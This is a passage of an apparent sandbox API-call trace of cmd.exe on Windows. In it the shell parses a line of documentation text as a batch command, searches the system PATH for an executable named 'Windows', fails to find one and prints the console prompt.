0x9c [0228.247] GetFileType (hFile=0x9c) returned 0x1 [0228.247] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.247] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd08 [0228.247] GetProcessHeap () returned 0x20b0f920000 [0228.247] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0228.247] GetProcessHeap () returned 0x20b0f920000 [0228.248] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0228.248] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0228.248] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0228.248] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0228.248] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0228.248] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0228.248] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0228.248] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0228.248] GetProcessHeap () returned 0x20b0f920000 [0228.248] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0228.248] GetProcessHeap () returned 0x20b0f920000 [0228.248] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0228.248] GetProcessHeap () returned 0x20b0f920000 [0228.248] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f926ea0 [0228.248] _tell (_FileHandle=3) returned 3336 [0228.248] _close (_FileHandle=3) returned 0 [0228.248] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0228.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.248] GetFileType (hFile=0x50) returned 0x2 [0228.248] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.249] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0228.254] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0228.254] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0228.254] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0228.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.254] GetFileType (hFile=0x50) returned 0x2 [0228.254] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.254] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0228.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.255] GetFileType (hFile=0x50) returned 0x2 [0228.255] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.255] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0228.255] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0228.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.255] GetFileType (hFile=0x50) returned 0x2 [0228.256] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.256] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0228.256] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0228.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.256] GetFileType (hFile=0x50) returned 0x2 [0228.256] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.257] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0228.260] malloc (_Size=0xffce) returned 0x20b0fa60940 [0228.260] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0228.261] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.261] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.261] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.261] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.261] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.261] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.261] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.261] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.261] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.261] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.261] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.261] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.261] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.261] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.261] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.261] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.261] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.262] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.262] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.262] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.262] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.262] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.262] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.262] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.262] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.262] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.262] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.262] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.262] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.262] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.262] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.262] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.262] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.262] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.262] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.262] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.262] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.262] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.262] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.262] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.262] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.262] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.262] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.262] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.262] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.263] GetProcessHeap () returned 0x20b0f920000 [0228.263] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0228.265] SetErrorMode (uMode=0x0) returned 0x0 [0228.265] SetErrorMode (uMode=0x1) returned 0x0 [0228.265] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0228.265] SetErrorMode (uMode=0x0) returned 0x1 [0228.265] GetProcessHeap () returned 0x20b0f920000 [0228.265] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0228.265] GetProcessHeap () returned 0x20b0f920000 [0228.265] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0228.266] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.266] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0228.266] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0228.266] GetProcessHeap () returned 0x20b0f920000 [0228.266] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0228.266] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.266] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d390 [0228.267] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0228.267] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.267] GetLastError () returned 0x2 [0228.267] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.267] GetLastError () returned 0x2 [0228.267] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.267] GetLastError () returned 0x2 [0228.267] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.268] GetLastError () returned 0x2 [0228.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.268] GetLastError () returned 0x2 [0228.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.268] GetLastError () returned 0x2 [0228.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.268] GetLastError () returned 0x2 [0228.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.268] GetLastError () returned 0x2 [0228.268] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.269] GetLastError () returned 0x2 [0228.269] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.269] GetLastError () returned 0x2 [0228.269] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.269] GetLastError () returned 0x2 [0228.269] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.269] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.269] GetLastError () returned 0x2 [0228.269] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.269] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cfd0 [0228.269] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0228.270] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.270] GetLastError () returned 0x2 [0228.270] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.270] GetLastError () returned 0x2 [0228.270] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.270] GetLastError () returned 0x2 [0228.270] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.270] GetLastError () returned 0x2 [0228.270] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.270] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.271] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.271] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.271] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.271] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.271] GetLastError () returned 0x2 [0228.271] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.272] GetLastError () returned 0x2 [0228.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.272] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.272] GetLastError () returned 0x2 [0228.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.272] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.272] GetLastError () returned 0x2 [0228.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.272] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.272] GetLastError () returned 0x2 [0228.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.272] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.273] GetLastError () returned 0x2 [0228.273] ??_V@YAXPEAX@Z () returned 0x1 [0228.273] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.275] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.275] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.275] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.275] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.276] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.276] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.276] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.276] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.276] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.276] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.276] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.276] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.276] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.276] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.276] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.276] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.276] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.276] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.276] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.276] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.276] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.277] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.277] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.277] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.277] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.277] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.277] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.277] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.277] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.277] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.277] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.277] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.277] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.277] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.277] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.277] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.277] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.277] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.277] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.277] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.277] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.277] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.277] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.277] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.277] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.277] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.277] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.277] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.277] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.277] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.277] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.278] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.278] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.278] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.278] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.278] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.278] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.278] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.278] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.278] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.278] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.278] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.278] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.278] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.278] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.278] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.278] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.278] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.278] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.278] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.278] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.278] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.278] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.278] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.278] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.278] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.278] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.278] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.278] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.278] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.278] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.278] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.278] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.278] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0228.278] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0228.279] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0228.279] ??_V@YAXPEAX@Z () returned 0x1 [0228.279] GetProcessHeap () returned 0x20b0f920000 [0228.279] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0228.279] GetProcessHeap () returned 0x20b0f920000 [0228.279] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, 